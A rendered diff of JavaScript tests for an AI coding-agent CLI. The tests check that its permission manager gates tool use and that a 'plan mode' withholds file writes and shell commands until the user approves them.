|
136
|
+
});
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
test('interactive "No" denies and does not pin the tag', async () => {
|
|
140
|
+
await withTTY(async () => {
|
|
141
|
+
const pm = createPermissionManager(uiStub, {});
|
|
142
|
+
pm.setUICallbacks(uiCallbacksThatPick(['cancel'])); // Esc → deny
|
|
143
|
+
const ok = await pm.askPermission('file', 'write a file', 'write_file');
|
|
144
|
+
assert.strictEqual(ok, false);
|
|
145
|
+
assert.ok(!pm.state.sessionApprovedTags.has('write_file'));
|
|
146
|
+
});
|
|
147
|
+
});
|
|
148
|
+
|
|
149
|
+
test('clear() resets auto-approve-all back to the gated state', async () => {
|
|
150
|
+
const pm = createPermissionManager(uiStub, {});
|
|
151
|
+
pm.toggleAll();
|
|
152
|
+
assert.strictEqual(pm.state.autoApproveAll, true);
|
|
153
|
+
pm.clear();
|
|
154
|
+
assert.strictEqual(pm.state.autoApproveAll, false);
|
|
155
|
+
assert.strictEqual(pm.state.sessionApprovedTags.size, 0);
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
test('permission tiers map the expected tags', () => {
|
|
159
|
+
assert.ok(TIER_EXEC.includes('exec'));
|
|
160
|
+
assert.ok(TIER_FS.includes('write_file') && TIER_FS.includes('read_file'));
|
|
161
|
+
assert.ok(TIER_NET.includes('http_get') && TIER_NET.includes('download'));
|
|
162
|
+
assert.ok(TIER_SYS.includes('system_info'));
|
|
163
|
+
});
|
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
// Plan-mode tests (Task 2.5). The core gate is exercised against the REAL
|
|
4
|
+
// runAgentLoop via the mock LLM: in plan mode, effectful tools (non-null
|
|
5
|
+
// permission descriptor) are withheld and read-only tools (null descriptor)
|
|
6
|
+
// still run; with plan mode off, the same mutating tool executes. The /plan
|
|
7
|
+
// in-chat toggle is exercised through the chat harness.
|
|
8
|
+
|
|
9
|
+
const { test, before, after } = require('node:test');
|
|
10
|
+
const assert = require('node:assert');
|
|
11
|
+
const os = require('node:os');
|
|
12
|
+
const fs = require('node:fs');
|
|
13
|
+
const path = require('node:path');
|
|
14
|
+
|
|
15
|
+
const ui = require('../lib/ui');
|
|
16
|
+
const { createApiClient } = require('../lib/api');
|
|
17
|
+
const { createToolExecutor, extractToolCalls } = require('../lib/tools');
|
|
18
|
+
const { createPermissionManager } = require('../lib/permissions');
|
|
19
|
+
const { createAgentRunner } = require('../lib/agent');
|
|
20
|
+
const { startMockLLM } = require('./harness/mock-llm');
|
|
21
|
+
const { startChat } = require('./harness/chat-harness');
|
|
22
|
+
|
|
23
|
+
let prevKey;
|
|
24
|
+
let CWD;
|
|
25
|
+
let PREV_CWD;
|
|
26
|
+
before(() => {
|
|
27
|
+
prevKey = process.env.SEMALT_API_KEY; process.env.SEMALT_API_KEY = 'test-key';
|
|
28
|
+
PREV_CWD = process.cwd();
|
|
29
|
+
CWD = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'semalt-plan-')));
|
|
30
|
+
process.chdir(CWD);
|
|
31
|
+
});
|
|
32
|
+
after(() => {
|
|
33
|
+
process.chdir(PREV_CWD);
|
|
34
|
+
if (prevKey === undefined) delete process.env.SEMALT_API_KEY; else process.env.SEMALT_API_KEY = prevKey;
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
function buildRunner(base) {
|
|
38
|
+
const config = {
|
|
39
|
+
api_base: base, api_key: 'test-key', default_model: 'test-model',
|
|
40
|
+
temperature: 0.5, request_timeout_ms: 5000, stream: true, models: [],
|
|
41
|
+
};
|
|
42
|
+
const api = createApiClient({ getConfig: () => config, saveConfig: () => {}, ui });
|
|
43
|
+
const pm = createPermissionManager(ui, { skipPermissions: true });
|
|
44
|
+
pm.setUICallbacks({ onAddMessage: () => {}, onShowModal: () => {}, onCloseModal: () => {}, onCaptureNavigation: () => () => {} });
|
|
45
|
+
const { agentExecShell, agentExecFile, describePermission } = createToolExecutor(pm, ui, () => config);
|
|
46
|
+
return createAgentRunner({
|
|
47
|
+
chatStream: api.chatStream, extractToolCalls, agentExecShell, agentExecFile,
|
|
48
|
+
describePermission, permissionManager: pm, ui, getConfig: () => config,
|
|
49
|
+
});
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
// ---------------------------------------------------------------------------
|
|
53
|
+
// Agent-loop gate
|
|
54
|
+
// ---------------------------------------------------------------------------
|
|
55
|
+
|
|
56
|
+
test('plan mode withholds a mutating tool (write_file is NOT executed)', async () => {
|
|
57
|
+
const mock = await startMockLLM();
|
|
58
|
+
mock.replyWith('<write_file path="planned.txt">data</write_file>');
|
|
59
|
+
mock.replyWith('Here is my plan.');
|
|
60
|
+
try {
|
|
61
|
+
const runner = buildRunner(mock.base);
|
|
62
|
+
const messages = [{ role: 'user', content: 'change the file' }];
|
|
63
|
+
const res = await runner.runAgentLoop(messages, 'test-model', 10, null, { planMode: true });
|
|
64
|
+
|
|
65
|
+
assert.ok(!fs.existsSync(path.join(CWD, 'planned.txt')), 'the file was NOT written');
|
|
66
|
+
assert.strictEqual(res.withheldActions.length, 1, 'one action withheld');
|
|
67
|
+
assert.strictEqual(res.withheldActions[0].tag, 'write');
|
|
68
|
+
assert.ok(messages.some((m) => m.role === 'assistant' && m.content === 'Here is my plan.'), 'plan recorded');
|
|
69
|
+
} finally {
|
|
70
|
+
await mock.close();
|
|
71
|
+
}
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
test('plan mode also withholds effectful shell (descriptor-driven, not name matching)', async () => {
|
|
75
|
+
const mock = await startMockLLM();
|
|
76
|
+
mock.replyWith('<exec>echo SHOULD_NOT_RUN</exec>');
|
|
77
|
+
mock.replyWith('plan.');
|
|
78
|
+
try {
|
|
79
|
+
const runner = buildRunner(mock.base);
|
|
80
|
+
const res = await runner.runAgentLoop([{ role: 'user', content: 'run it' }], 'test-model', 10, null, { planMode: true });
|
|
81
|
+
assert.strictEqual(res.withheldActions.length, 1);
|
|
82
|
+
assert.strictEqual(res.withheldActions[0].tag, 'shell');
|
|
83
|
+
} finally {
|
|
84
|
+
await mock.close();
|
|
85
|
+
}
|
|
86
|
+
});
|
|
87
|
+
|
|
88
|
+
test('plan mode lets read-only tools run during planning', async () => {
|
|
89
|
+
fs.writeFileSync(path.join(CWD, 'r.txt'), 'HELLO_READ');
|
|
90
|
+
const mock = await startMockLLM();
|
|
91
|
+
mock.replyWith('<read_file>r.txt</read_file>');
|
|
92
|
+
mock.replyWith('done reading.');
|
|
93
|
+
try {
|
|
94
|
+
const runner = buildRunner(mock.base);
|
|
95
|
+
const messages = [{ role: 'user', content: 'inspect' }];
|
|
96
|
+
const res = await runner.runAgentLoop(messages, 'test-model', 10, null, { planMode: true });
|
|
97
|
+
assert.strictEqual(res.withheldActions.length, 0, 'read_file is read-only — not withheld');
|
|
98
|
+
const toolMsg = messages.find((m) => m.role === 'user' && /Tool execution results/.test(m.content));
|
|
99
|
+
assert.ok(toolMsg && /HELLO_READ/.test(toolMsg.content), 'the read actually executed and fed back content');
|
|
100
|
+
} finally {
|
|
101
|
+
await mock.close();
|
|
102
|
+
}
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
test('with plan mode OFF, the same mutating tool executes (approval path)', async () => {
|
|
106
|
+
const mock = await startMockLLM();
|
|
107
|
+
mock.replyWith('<write_file path="approved.txt">data</write_file>');
|
|
108
|
+
mock.replyWith('Done.');
|
|
109
|
+
try {
|
|
110
|
+
const runner = buildRunner(mock.base);
|
|
111
|
+
const res = await runner.runAgentLoop([{ role: 'user', content: 'write it' }], 'test-model', 10, null, { planMode: false });
|
|
112
|
+
assert.strictEqual(fs.readFileSync(path.join(CWD, 'approved.txt'), 'utf8'), 'data', 'the file was written');
|
|
113
|
+
assert.strictEqual(res.withheldActions.length, 0);
|
|
114
|
+
} finally {
|
|
115
|
+
await mock.close();
|
|
116
|
+
}
|
|
117
|
+
});
|
|
118
|
+
|
|
119
|
+
test('a live getPlanMode getter is honored (approval mid-session lifts the gate)', async () => {
|
|
120
|
+
const mock = await startMockLLM();
|
|
121
|
+
mock.replyWith('<write_file path="live.txt">x</write_file>');
|
|
122
|
+
mock.replyWith('ok');
|
|
123
|
+
try {
|
|
124
|
+
const runner = buildRunner(mock.base);
|
|
125
|
+
let planning = true;
|
|
126
|
+
// First run: planning → withheld.
|
|
127
|
+
const r1 = await runner.runAgentLoop([{ role: 'user', content: 'a' }], 'test-model', 10, null, { getPlanMode: () => planning });
|
|
128
|
+
assert.strictEqual(r1.withheldActions.length, 1);
|
|
129
|
+
assert.ok(!fs.existsSync(path.join(CWD, 'live.txt')));
|
|
130
|
+
|
|
131
|
+
// Approve, then re-run the same action → executes.
|
|
132
|
+
planning = false;
|
|
133
|
+
mock.replyWith('<write_file path="live.txt">x</write_file>');
|
|
134
|
+
mock.replyWith('ok2');
|
|
135
|
+
const r2 = await runner.runAgentLoop([{ role: 'user', content: 'proceed' }], 'test-model', 10, null, { getPlanMode: () => planning });
|
|
136
|
+
assert.strictEqual(r2.withheldActions.length, 0);
|
|
137
|
+
assert.strictEqual(fs.readFileSync(path.join(CWD, 'live.txt'), 'utf8'), 'x');
|
|
138
|
+
} finally {
|
|
139
|
+
await mock.close();
|
|
140
|
+
}
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
// ---------------------------------------------------------------------------
|
|
144
|
+
// /plan in-chat toggle wiring
|
|
145
|
+
// ---------------------------------------------------------------------------
|
|
146
|
+
|
|
147
|
+
test('/plan toggles plan mode and threads getPlanMode into the agent loop', async () => {
|
|
148
|
+
const c = await startChat({ config: { auth_token: 'tok' } });
|
|
149
|
+
try {
|
|
150
|
+
await c.submit('/plan');
|
|
151
|
+
assert.ok(c.chatHistory.find(/Plan mode ON/i), 'plan mode ON announced');
|
|
152
|
+
|
|
153
|
+
await c.submit('please plan this');
|
|
154
|
+
const turn1 = c.calls.runAgentLoop[c.calls.runAgentLoop.length - 1];
|
|
155
|
+
assert.strictEqual(typeof turn1.opts.getPlanMode, 'function', 'getPlanMode passed to the loop');
|
|
156
|
+
assert.strictEqual(turn1.opts.getPlanMode(), true, 'plan mode active for this turn');
|
|
157
|
+
|
|
158
|
+
await c.submit('/plan');
|
|
159
|
+
assert.ok(c.chatHistory.find(/Plan mode OFF/i), 'plan mode OFF announced (approval)');
|
|
160
|
+
|
|
161
|
+
await c.submit('now do it');
|
|
162
|
+
const turn2 = c.calls.runAgentLoop[c.calls.runAgentLoop.length - 1];
|
|
163
|
+
assert.strictEqual(turn2.opts.getPlanMode(), false, 'plan mode lifted after approval');
|
|
164
|
+
} finally {
|
|
165
|
+
await c.submit('exit'); await c.done; c.cleanup();
|
|
166
|
+
}
|
|
167
|
+
});
|